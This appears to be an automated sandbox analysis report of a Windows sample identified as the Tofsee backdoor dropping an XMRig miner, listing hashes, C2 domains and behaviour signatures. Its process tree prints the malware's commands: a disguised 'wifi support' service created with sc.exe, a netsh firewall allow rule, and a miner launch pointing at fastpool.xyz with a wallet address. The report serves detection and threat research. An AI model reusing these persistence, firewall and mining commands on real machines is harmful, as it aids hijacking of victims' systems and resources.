Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    09/10/2023, 19:02

General

  • Target

    file.exe

  • Size

    216KB

  • MD5

    21c68b05ac982cff12afcb9af3a5657d

  • SHA1

    3651d8e4e0fdc66c1f888e34337ae2c13cb9b904

  • SHA256

    19a4f6df26db3df254ccf6270b2abe2ef6bcf86264cd17acaa5a46995672bbe4

  • SHA512

    734382f3432b09248f02799b1ada19787fd29402164a551494c7197f3b45a2527edf1e5b44a907f7cda70b04351acbc547c309f31f8c4347cc16a059a24a8131

  • SSDEEP

    3072:jHXfua5zpSxP5RcWrYlwRabrTRqQxSCcSd5PYe5OT99c:rfua5zK5RPslwCxS0A5Ts

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hpcsttde\
      2⤵
        PID:844
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xgmxvkc.exe" C:\Windows\SysWOW64\hpcsttde\
        2⤵
          PID:3024
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hpcsttde binPath= "C:\Windows\SysWOW64\hpcsttde\xgmxvkc.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hpcsttde "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hpcsttde
          2⤵
          • Launches sc.exe
          PID:2648
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2792
      • C:\Windows\SysWOW64\hpcsttde\xgmxvkc.exe
        C:\Windows\SysWOW64\hpcsttde\xgmxvkc.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2160
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2636
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:528

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\xgmxvkc.exe

              Filesize

              11.4MB

              MD5

              c79b4175e06302cdf8d24a7b1c498a67

              SHA1

              c742a0bce9ad5a760a65ef0945b990468ba319d2

              SHA256

              0f721cdd76e53ab8e6d6718767ed149f56d3b2c0788d3287387df874ef87b6a0

              SHA512

              2952d297b0b671cd02a9aace1c616b8467c67325ce607de4aa9fb1c5d1e432346c8223b17ddedd436fe7083c400e7cb4f23493fe7731bb0d33174ed875301671

            • C:\Windows\SysWOW64\hpcsttde\xgmxvkc.exe

              Filesize

              11.4MB

              MD5

              c79b4175e06302cdf8d24a7b1c498a67

              SHA1

              c742a0bce9ad5a760a65ef0945b990468ba319d2

              SHA256

              0f721cdd76e53ab8e6d6718767ed149f56d3b2c0788d3287387df874ef87b6a0

              SHA512

              2952d297b0b671cd02a9aace1c616b8467c67325ce607de4aa9fb1c5d1e432346c8223b17ddedd436fe7083c400e7cb4f23493fe7731bb0d33174ed875301671

            • memory/528-62-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/528-73-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/528-74-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/528-64-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/528-72-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/528-77-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/528-75-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/528-76-0x0000000000080000-0x0000000000171000-memory.dmp

              Filesize

              964KB

            • memory/1772-9-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/1772-1-0x0000000000690000-0x0000000000790000-memory.dmp

              Filesize

              1024KB

            • memory/1772-3-0x0000000000400000-0x00000000005AD000-memory.dmp

              Filesize

              1.7MB

            • memory/1772-6-0x0000000000400000-0x00000000005AD000-memory.dmp

              Filesize

              1.7MB

            • memory/1772-2-0x0000000000220000-0x0000000000233000-memory.dmp

              Filesize

              76KB

            • memory/2160-10-0x0000000000680000-0x0000000000780000-memory.dmp

              Filesize

              1024KB

            • memory/2160-16-0x0000000000400000-0x00000000005AD000-memory.dmp

              Filesize

              1.7MB

            • memory/2160-13-0x0000000000400000-0x00000000005AD000-memory.dmp

              Filesize

              1.7MB

            • memory/2636-37-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-46-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-33-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-34-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-35-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-36-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-27-0x00000000001D0000-0x00000000001D6000-memory.dmp

              Filesize

              24KB

            • memory/2636-38-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-39-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-40-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-41-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-42-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-43-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-44-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-45-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-30-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-47-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-48-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-49-0x0000000000280000-0x0000000000290000-memory.dmp

              Filesize

              64KB

            • memory/2636-50-0x0000000000390000-0x0000000000395000-memory.dmp

              Filesize

              20KB

            • memory/2636-53-0x0000000000390000-0x0000000000395000-memory.dmp

              Filesize

              20KB

            • memory/2636-54-0x00000000057D0000-0x0000000005BDB000-memory.dmp

              Filesize

              4.0MB

            • memory/2636-57-0x00000000057D0000-0x0000000005BDB000-memory.dmp

              Filesize

              4.0MB

            • memory/2636-58-0x0000000000460000-0x0000000000467000-memory.dmp

              Filesize

              28KB

            • memory/2636-26-0x0000000001940000-0x0000000001B4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2636-23-0x0000000001940000-0x0000000001B4F000-memory.dmp

              Filesize

              2.1MB

            • memory/2636-22-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-20-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-19-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-15-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB

            • memory/2636-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

              Filesize

              4KB

            • memory/2636-11-0x0000000000080000-0x0000000000095000-memory.dmp

              Filesize

              84KB